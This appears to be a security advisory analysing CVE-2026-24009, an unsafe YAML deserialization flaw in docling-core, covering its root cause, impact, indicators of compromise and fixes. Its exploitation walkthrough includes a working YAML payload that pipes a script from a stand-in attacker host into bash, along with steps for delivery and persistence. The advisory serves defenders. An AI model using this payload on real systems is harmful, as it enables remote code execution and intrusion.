CVE-2026-24009: 
Python vulnerability analysis and mitigation

CVE-2026-24009 is a Remote Code Execution (RCE) vulnerability in the docling-core Python library caused by unsafe PyYAML deserialization, effectively exposing the underlying CVE-2020-14343 flaw. It affects docling-core versions 2.21.0 through 2.48.3 when the application also uses PyYAML prior to version 5.4 and calls docling_core.types.doc.DoclingDocument.load_from_yaml() with untrusted YAML data. The vulnerability was reported by researcher avioligo on January 20, 2026, and the advisory (GHSA-vqxf-v2gg-x3hc) was published on January 22, 2026. NVD assigns a CVSS v3.1 score of 9.8 (Critical), while the CNA (GitHub) scores it 8.1 (High) due to higher assessed attack complexity (GitHub Advisory, NVD).

The root cause is the use of yaml.FullLoader instead of yaml.SafeLoader in the DoclingDocument.load_from_yaml() method, classified as CWE-502 (Deserialization of Untrusted Data) (GitHub Advisory). yaml.FullLoader in PyYAML versions prior to 5.4 allows exploitation of the python/object/new YAML constructor to instantiate arbitrary Python objects, enabling code execution — the same mechanism as CVE-2020-14343 (GitHub CVE-2020-14343). Exploitation requires two preconditions: the target application must have PyYAML < 5.4 installed, and it must pass attacker-controlled YAML content to load_from_yaml(). The fix, committed in PR #396, is a one-line change replacing yaml.FullLoader with yaml.SafeLoader in docling_core/types/doc/document.py (Patch Commit). A public proof-of-concept exploit is available on GitHub (PoC).

Successful exploitation allows an unauthenticated network attacker to execute arbitrary code with the privileges of the running application process, resulting in full confidentiality, integrity, and availability compromise of the affected system (GitHub Advisory). Attack scenarios include crafting malicious YAML files that, when processed by a vulnerable docling-core deployment, trigger arbitrary Python object instantiation and command execution. This can lead to data theft, deployment of backdoors, lateral movement within the network, and complete service disruption (Feedly).

A public proof-of-concept exploit is available on GitHub (published approximately March 2, 2026), demonstrating the attack against vulnerable docling-core deployments (PoC). As of the time of reporting, there is no confirmed evidence of in-the-wild exploitation, and no threat actor attribution has been made. The EPSS score is approximately 0.105%, indicating a currently low but non-negligible probability of exploitation in the near term (Feedly). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Qualys has added detection for this CVE (detection ID 5007162).

1. Identify vulnerable targets: Locate applications using docling-core versions 2.21.0–2.48.3 with PyYAML < 5.4 installed. This can be done by inspecting pip list output or requirements.txt files, or by probing exposed document-processing endpoints.
2. Craft malicious YAML payload: Create a YAML file containing a python/object/new constructor payload that abuses PyYAML's FullLoader to instantiate an arbitrary Python object and execute a system command. Example payload structure:

!!python/object/new:os.system
args: ['curl http://attacker.com/shell.sh | bash']

3. Deliver the payload: Supply the malicious YAML file to any application code path that calls docling_core.types.doc.DoclingDocument.load_from_yaml() with attacker-controlled input — for example, by uploading a crafted YAML document to a web service that processes Docling documents.
4. Trigger deserialization: When load_from_yaml() processes the file using yaml.load(..., Loader=yaml.FullLoader) on a vulnerable PyYAML version, the malicious constructor is evaluated and the embedded command executes with the application's process privileges.
5. Achieve post-exploitation objectives: With code execution established, the attacker can establish persistence (e.g., cron jobs, reverse shells), exfiltrate sensitive data, or pivot to other internal systems (GitHub Advisory, PoC).

• File System: Unexpected YAML files with !!python/object/new or !!python/object/apply tags in directories processed by the application; new scripts or binaries created by the application's service account.
• Process: Unusual child processes spawned by the Python interpreter running docling-core (e.g., bash, sh, curl, wget, python3) with no legitimate parent context.
• Network: Outbound connections from the application server to unexpected external IP addresses or domains, particularly shortly after YAML file processing events; DNS lookups for attacker-controlled domains initiated by the application process.
• Logs: Application logs showing errors or tracebacks related to YAML deserialization of unexpected object types; Python yaml.load calls with FullLoader processing files from untrusted sources; anomalous file upload or document submission events in web server access logs.

The primary remediation is to upgrade docling-core to version 2.48.4 or later, which switches YAML deserialization from yaml.FullLoader to yaml.SafeLoader, eliminating the unsafe deserialization path (GitHub Advisory, Patch Commit). As an interim workaround for those unable to upgrade immediately, upgrading PyYAML to version 5.4 or greater mitigates the underlying CVE-2020-14343 flaw and prevents exploitation. Additionally, organizations should implement network controls to restrict which sources can supply YAML data to systems running docling-core, and avoid passing untrusted YAML content to load_from_yaml() under any circumstances.

Oligo Security published a technical blog post characterizing CVE-2026-24009 as a "shadow vulnerability" — a case where a dependency's known flaw (CVE-2020-14343 in PyYAML) was re-exposed through unsafe usage in a downstream library, highlighting the risks of transitive dependency vulnerabilities in AI/ML tooling (Oligo Security). The vulnerability was covered in The Hacker News' weekly security recap and noted in CISA's vulnerability bulletin for the week of January 19, 2026. Community discussion on platforms including Bluesky and LinkedIn highlighted the broader concern of unsafe YAML deserialization patterns persisting in modern Python libraries despite years of known risk.